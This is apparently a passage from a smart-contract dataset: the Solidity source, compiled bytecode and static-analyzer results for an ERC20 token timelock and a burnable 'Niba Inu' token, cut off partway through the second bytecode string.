6124b89190612c9e565b60405180910390a2600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905061254e9190612d6f565b81548110612585577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061260a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016000820154816000015560018201548160010155905050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806126a4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000209060020201600080820160009055600182016000905550509055600191505092915050565b6000813590506126e7816132e1565b92915050565b6000813590506126fc816132f8565b92915050565b60006020828403121561271457600080fd5b6000612722848285016126d8565b91505092915050565b6000806040838503121561273e57600080fd5b600061274c858286016126d8565b925050602061275d858286016126d8565b9150509250929050565b60008060006060848603121561277c57600080fd5b600061278a868287016126d8565b935050602061279b868287016126d8565b92505060406127ac868287016126ed565b9150509250925092565b600080604083850312156127c957600080fd5b60006127d7858286016126d8565b92505060206127e8858286016126ed565b9150509250929050565b60008060006060848603121561280757600080fd5b6000612815868287016126d8565b9350506020612826868287016126ed565b9250506040612837868287016126ed565b9150509250925092565b60006020828403121561285357600080fd5b6000612861848285016126ed565b91505092915050565b61287381612da3565b82525050565b61288281612db5565b82525050565b600061289382612cfd565b61289d8185612d08565b93506128ad818560208601612df8565b6128b681612ecd565b840191505092915050565b60006128ce603e83612d08565b91506128d982612ede565b604082019050919050565b60006128f1604083612d08565b91506128fc82612f2d565b604082019050919050565b6000612914602b83612d08565b915061291f82612f7c565b604082019050919050565b6000612937602e83612d08565b915061294282612fcb565b604082019050919050565b600061295a602e83612d08565b91506129658261301a565b604082019050919050565b600061297d603983612d08565b915061298882613069565b604082019050919050565b60006129a0602f83612d08565b91506129ab826130b8565b604082019050919050565b60006129c3603283612d08565b91506129ce82613107565b604082019050919050565b60006129e6603383612d08565b91506129f182613156565b604082019050919050565b6000612a09602d83612d08565b9150612a14826131a5565b604082019050919050565b6000612a2c601c83612d08565b9150612a37826131f4565b602082019050919050565b6000612a4f603583612d08565b9150612a5a8261321d565b604082019050919050565b6000612a72604583612d08565b9150612a7d8261326c565b606082019050919050565b612a9181612de1565b82525050565b612aa081612deb565b82525050565b6000602082019050612abb600083018461286a565b92915050565b6000602082019050612ad66000830184612879565b92915050565b60006020820190508181036000830152612af68184612888565b905092915050565b60006020820190508181036000830152612b17816128c1565b9050919050565b60006020820190508181036000830152612b37816128e4565b9050919050565b60006020820190508181036000830152612b5781612907565b9050919050565b60006020820190508181036000830152612b778161292a565b9050919050565b60006020820190508181036000830152612b978161294d565b9050919050565b60006020820190508181036000830152612bb781612970565b9050919050565b60006020820190508181036000830152612bd781612993565b9050919050565b60006020820190508181036000830152612bf7816129b6565b9050919050565b60006020820190508181036000830152612c17816129d9565b9050919050565b60006020820190508181036000830152612c37816129fc565b9050919050565b60006020820190508181036000830152612c5781612a1f565b9050919050565b60006020820190508181036000830152612c7781612a42565b9050919050565b60006020820190508181036000830152612c9781612a65565b9050919050565b6000602082019050612cb36000830184612a88565b92915050565b6000604082019050612cce6000830185612a88565b612cdb6020830184612a88565b9392505050565b6000602082019050612cf76000830184612a97565b92915050565b600081519050919050565b600082825260208201905092915050565b6000612d2482612de1565b9150612d2f83612de1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d6457612d63612e9e565b5b828201905092915050565b6000612d7a82612de1565b9150612d8583612de1565b925082821015612d9857612d97612e9e565b5b828203905092915050565b6000612dae82612dc1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015612e16578082015181840152602081019050612dfb565b83811115612e25576000848401525b50505050565b6000612e3682612de1565b91506000821415612e4a57612e49612e9e565b5b600182039050919050565b6000612e6082612de1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e9357612e92612e9e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b7f45524332304c6f636b61626c652f7472616e73666572576974684c6f636b557060008201527f203a2043616e6e6f742073656e6420746f207a65726f20616464726573730000602082015250565b7f45524332304c6f636b61626c652f6c6f636b203a206c6f636b656420746f746160008201527f6c2073686f756c6420626520736d616c6c6572207468616e2062616c616e6365602082015250565b7f45524332304c6f636b61626c652f6c6f636b203a2043616e6e6f74207365742060008201527f64756520746f2070617374000000000000000000000000000000000000000000602082015250565b7f534c442f7472616e73666572203a2053686f756c64206e6f742073656e64207460008201527f6f207a65726f2061646472657373000000000000000000000000000000000000602082015250565b7f45524332304c6f636b61626c652f756e6c6f636b3a2063616e6e6f7420756e6c60008201527f6f636b206265666f726520647565000000000000000000000000000000000000602082015250565b7f506175736564203a20546869732066756e6374696f6e2063616e206f6e6c792060008201527f62652063616c6c6564207768656e206e6f742070617573656400000000000000602082015250565b7f4f776e61626c65203a2046756e6374696f6e2063616c6c656420627920756e6160008201527f7574686f72697a656420757365722e0000000000000000000000000000000000602082015250565b7f534c442f7472616e7366657246726f6d203a2053686f756c64206e6f7420736560008201527f6e6420746f207a65726f20616464726573730000000000000000000000000000602082015250565b7f45524332304c6f636b61626c652f43616e6e6f742073656e64206d6f7265207460008201527f68616e20756e6c6f636b656420616d6f756e7400000000000000000000000000602082015250565b7f534c442f617070726f7665203a2053686f756c64206e6f7420617070726f766560008201527f207a65726f206164647265737300000000000000000000000000000000000000602082015250565b7f467265657a61626c65203a207461726765742069732066726f7a656e00000000600082015250565b7f506175736564203a20546869732066756e6374696f6e2063616e206f6e6c792060008201527f62652063616c6c6564207768656e207061757365640000000000000000000000602082015250565b7f4f776e61626c652f7472616e736665724f776e657273686970203a2063616e6e60008201527f6f74207472616e73666572206f776e65727368697020746f207a65726f20616460208201527f6472657373000000000000000000000000000000000000000000000000000000604082015250565b6132ea81612da3565b81146132f557600080fd5b50565b61330181612de1565b811461330c57600080fd5b5056fea264697066735822122050980bbdc762bb24b45d7730cd56cd5b21f03fb1fd5ce8951a74f8212475aea864736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}]}}
5,654
0xe75565c54196a605ce1850c917277030eee2653b
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ contract CoinovyTokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private immutable _token; // beneficiary of tokens after they are released address private immutable _beneficiary; // timestamp when token release is enabled uint256 private immutable _releaseTime; constructor( IERC20 token_, address beneficiary_, uint256 releaseTime_ ) { require(releaseTime_ > block.timestamp, "CoinovyTokenTimelock: release time is before current time"); _token = token_; _beneficiary = beneficiary_; _releaseTime = releaseTime_; } /** * @return the token being held. */ function token() public view virtual returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view virtual returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view virtual returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { require(block.timestamp >= releaseTime(), "CoinovyTokenTimelock: current time is before release time"); uint256 amount = token().balanceOf(address(this)); require(amount > 0, "CoinovyTokenTimelock: no tokens to release"); token().safeTransfer(beneficiary(), amount); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461006f578063b91d400114610079578063fc0c546a14610097575b600080fd5b6100596100b5565b6040516100669190610756565b60405180910390f35b6100776100dd565b005b61008161023a565b60405161008e9190610877565b60405180910390f35b61009f610262565b6040516100ac919061079a565b60405180910390f35b60007f00000000000000000000000025acd44224b7490b3cfab0e916b32bd82053a316905090565b6100e561023a565b421015610127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011e906107f7565b60405180910390fd5b6000610131610262565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101699190610756565b60206040518083038186803b15801561018157600080fd5b505afa158015610195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b991906105d0565b9050600081116101fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101f590610837565b60405180910390fd5b6102376102096100b5565b82610212610262565b73ffffffffffffffffffffffffffffffffffffffff1661028a9092919063ffffffff16565b50565b60007f0000000000000000000000000000000000000000000000000000000064f0dc27905090565b60007f000000000000000000000000e4ecb83db1b4769213a997334cd10a8c8a6a4ea3905090565b61030b8363a9059cbb60e01b84846040516024016102a9929190610771565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610310565b505050565b6000610372826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166103d79092919063ffffffff16565b90506000815111156103d2578080602001905181019061039291906105a7565b6103d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c890610857565b60405180910390fd5b5b505050565b60606103e684846000856103ef565b90509392505050565b606082471015610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906107d7565b60405180910390fd5b61043d85610503565b61047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610817565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516104a5919061073f565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50915091506104f7828286610516565b92505050949350505050565b600080823b905060008111915050919050565b6060831561052657829050610576565b6000835111156105395782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d91906107b5565b60405180910390fd5b9392505050565b60008151905061058c81610ad9565b92915050565b6000815190506105a181610af0565b92915050565b6000602082840312156105b957600080fd5b60006105c78482850161057d565b91505092915050565b6000602082840312156105e257600080fd5b60006105f084828501610592565b91505092915050565b610602816108c4565b82525050565b600061061382610892565b61061d81856108a8565b935061062d818560208601610930565b80840191505092915050565b6106428161090c565b82525050565b60006106538261089d565b61065d81856108b3565b935061066d818560208601610930565b61067681610963565b840191505092915050565b600061068e6026836108b3565b915061069982610974565b604082019050919050565b60006106b16039836108b3565b91506106bc826109c3565b604082019050919050565b60006106d4601d836108b3565b91506106df82610a12565b602082019050919050565b60006106f7602a836108b3565b915061070282610a3b565b604082019050919050565b600061071a602a836108b3565b915061072582610a8a565b604082019050919050565b61073981610902565b82525050565b600061074b8284610608565b915081905092915050565b600060208201905061076b60008301846105f9565b92915050565b600060408201905061078660008301856105f9565b6107936020830184610730565b9392505050565b60006020820190506107af6000830184610639565b92915050565b600060208201905081810360008301526107cf8184610648565b905092915050565b600060208201905081810360008301526107f081610681565b9050919050565b60006020820190508181036000830152610810816106a4565b9050919050565b60006020820190508181036000830152610830816106c7565b9050919050565b60006020820190508181036000830152610850816106ea565b9050919050565b600060208201905081810360008301526108708161070d565b9050919050565b600060208201905061088c6000830184610730565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006108cf826108e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109178261091e565b9050919050565b6000610929826108e2565b9050919050565b60005b8381101561094e578082015181840152602081019050610933565b8381111561095d576000848401525b50505050565b6000601f19601f8301169050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f436f696e6f7679546f6b656e54696d656c6f636b3a2063757272656e7420746960008201527f6d65206973206265666f72652072656c656173652074696d6500000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f436f696e6f7679546f6b656e54696d656c6f636b3a206e6f20746f6b656e732060008201527f746f2072656c6561736500000000000000000000000000000000000000000000602082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610ae2816108d6565b8114610aed57600080fd5b50565b610af981610902565b8114610b0457600080fd5b5056fea26469706673582212207b7232b790c374e4dcc016b6af5ed2562ecb1b7921d3d1d2b3837ef27d8db9b364736f6c63430008040033
{"success": true, "error": null, "results": {}}
5,655
0x0ef7a67865886f06a160109260696e4df8fc3a5d
/** *Submitted for verification at Etherscan.io on 2021-10-26 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Niba Inu' contract // // Symbol : NIB // Name : Niba Inu // Total supply: 1 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract NIB is BurnableToken { string public constant name = "Niba Inu"; string public constant symbol = "NIB"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600881526020017f4e69626120496e7500000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff